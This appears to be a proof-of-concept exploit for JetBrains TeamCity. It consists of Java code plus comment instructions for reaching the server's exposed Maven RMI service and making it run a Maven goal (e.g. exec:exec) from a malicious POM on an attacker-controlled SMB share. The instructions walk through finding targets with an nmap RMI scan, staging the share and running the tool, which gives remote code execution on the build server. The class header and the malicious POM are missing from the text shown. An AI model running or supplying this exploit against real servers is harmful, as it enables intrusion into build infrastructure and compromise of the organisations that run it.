# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java
# Instructions for Windows (easier case):
# 1) Verify exploitability.
# 1a) Verify the remote host is running Windows, e.g. checking for common
# running services and their versions.
# 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
# scan using nmap and the rmi-dumpregistry script. On one port, there
# should be a registry with an object named teamcity-mavenServer. This
# object should point to a second open port that is also identified as
# Java RMI.
# 2) Prepare the payload.
# 2a) There needs to be an SMB share that the TeamCity software can read from
# and that you can write to. You might establish a share on your own
# system and make it accessible to anonymous users. Alternatively, if the
# TeamCity server is domain-joined, you might find a pre-existing share
# elsewhere in the domain.
# 2b) Place a malicious POM in that share, e.g.
# 3) Run this exploit.
# Argument #1: TeamCity host (IP or FQDN)
# Argument #2: Port of RMI Registry (the first open port described above)
# Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
# Argument #4: POM goal (e.g., exec:exec)
# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.
public static void main(String[] args) throws Throwable {
String host = args[0];
int port = Integer.parseInt(args[1]);
String pomPath = args[2];
String goal = args[3];
// The exported object may point to a different host than what we're
// using to connect to the registry, which could break things, i.e.,
// - localhost
// - for a multi-homed target, an IP we can't connect to
// - a FQDN or hostname we can't resolve
// - etc.
// For this reason, we'll set up a socket factory that forces all
// connections to go to the host specified by the user, ignoring the
// host pointed to by the exported object.
OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);
RMISocketFactory.setSocketFactory(sf);
// The rest of the code in this method should look fairly typical for
// interacting with remote objects using RMI.
Registry r = LocateRegistry.getRegistry(host, port, sf);
MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");
MavenEmbedderSettings mes = new MavenEmbedderSettings();
RemoteEmbedder re = ms.exportEmbedder(mes);
File f = new File(pomPath);
List ap = new ArrayList();
List g = new ArrayList();
g.add(goal);
MavenExecutionResult mer = re.execute(f, ap, g);
}
private static class OverrideHostSocketFactory extends RMISocketFactory {
private String targetHost;
public OverrideHostSocketFactory(String targetHost) {
this.targetHost = targetHost;
}
@Override
public Socket createSocket(String host, int port) throws IOException {
Socket toReturn = new Socket();
toReturn.connect(new InetSocketAddress(targetHost, port));
return toReturn;
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
throw new UnsupportedOperationException("Not supported yet.");
}
}
}